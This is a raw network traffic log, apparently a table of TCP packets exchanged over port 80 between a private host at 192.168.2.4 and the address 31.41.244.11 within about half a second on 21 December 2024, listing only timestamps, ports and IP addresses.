Dec 21, 2024 18:16:36.303313971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.303375959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.304713964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.304768085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.304776907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.304810047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.305736065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.305782080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.305835009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.306978941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.309485912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.437289953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.437315941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.437618971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.437686920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.437756062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.437935114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.439045906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.439104080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.439111948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.439147949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.440393925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.440534115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.440613031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.441241980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.441268921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.441329002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.442193985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.442318916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.442385912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.443485022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.443552017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.443582058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.444559097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.444624901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.444638014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.445317030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.445733070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.445792913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.445842981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.446881056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.446933985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.446979046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.448143005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.448249102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.448256016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.448312998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.449177980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.449234962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.449326038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.449374914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.450375080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.450422049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.450490952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.450536966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.451538086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.451584101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.451622009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.451666117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.452756882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.452786922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.452806950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.452821016 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.453943014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.453990936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.454027891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.454070091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.455080032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.455127954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.455171108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.455215931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.456267118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.456315041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.456444979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.456490040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.457459927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.457508087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.457585096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.457628965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.458681107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.458728075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.458792925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.458839893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.459804058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.459867001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.459901094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.459944010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.460997105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.461131096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.461174965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.462163925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.462301970 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.462357998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.463399887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.463536978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.463587046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.464545012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.464678049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.464731932 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.465712070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.465842009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.465915918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.466872931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.467020035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.467073917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.468036890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.468239069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.468291044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.469203949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.469366074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.469376087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.470406055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.470454931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.470498085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.471875906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.471950054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.471971035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.472035885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.472860098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.472974062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.473037004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.474003077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.474092960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.474220037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.475178957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.475274086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.475301027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.475332022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.476377010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.476437092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.476466894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.477348089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.477579117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.477621078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.477663994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.477715969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.478662014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.478713989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.478799105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.479854107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.479932070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.479954004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.481024981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.481081963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.481261969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.481336117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.482528925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.482626915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.482680082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.483465910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.483670950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.483720064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.484579086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.484652042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.484702110 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.485724926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.485856056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.485910892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.486949921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.487003088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.487154961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.488090992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.488142967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.488187075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.489322901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.489373922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.489403963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.489445925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.490514994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.490700006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.490755081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.491808891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.491913080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.491961956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.492903948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.492964029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.492970943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.493310928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.493993044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.494139910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.494167089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.494194031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.495255947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.495300055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.495352030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.496378899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.496407986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.496433973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.496452093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.497024059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.497665882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.497854948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.497904062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.499586105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.501316071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.629460096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.629496098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.629523039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.629544973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.629967928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.629993916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.630012035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.630028009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.630744934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.630815029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.630846024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.630887032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.631901979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.631947994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.632035017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.632080078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.633095980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.633136988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.633255959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.633295059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.634341002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.634386063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.634421110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.634460926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.635462999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.635509968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.635740042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.635780096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.636647940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.636688948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.636787891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.636825085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.637933969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.638000965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.638040066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.638078928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.639033079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.639050961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.639079094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.639091969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.640211105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.640254021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.640275002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.640314102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.641386986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.641426086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.641472101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.641513109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.642574072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.642616034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.642705917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.642746925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.643733978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.643784046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.643820047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.643862009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.644901991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.644946098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.645049095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.645097017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.646071911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.646119118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.646157980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.646198988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.647280931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.647329092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.647384882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.647429943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.648426056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.648494959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.648533106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.648571968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.649593115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.649631977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.649698019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.649738073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.650819063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.650859118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.650928020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.650966883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.651943922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.651989937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.652050972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.652093887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.653219938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.653264046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.653357983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.653398991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.654314041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.654354095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.654429913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.654472113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.655535936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.655580044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.655637980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.655678988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.656656027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.656707048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.656774998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.656815052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.657855988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.657891035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.657977104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.658019066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.659276962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.659336090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.659342051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.659373999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.660198927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.660239935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.660319090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.660360098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.661410093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.661451101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.661547899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.661587000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.662791967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.662832022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.662911892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.662946939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.663734913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.663774967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.663844109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.663885117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.664982080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.665029049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.665112972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.665153027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.666371107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.666421890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.666423082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.666465044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.667527914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.667581081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.667642117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.667685032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.668590069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.668643951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.668679953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.668731928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.669920921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.669980049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.670015097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.670058012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.671150923 CET	80	49826	31.41.244.11	192.168.2.4
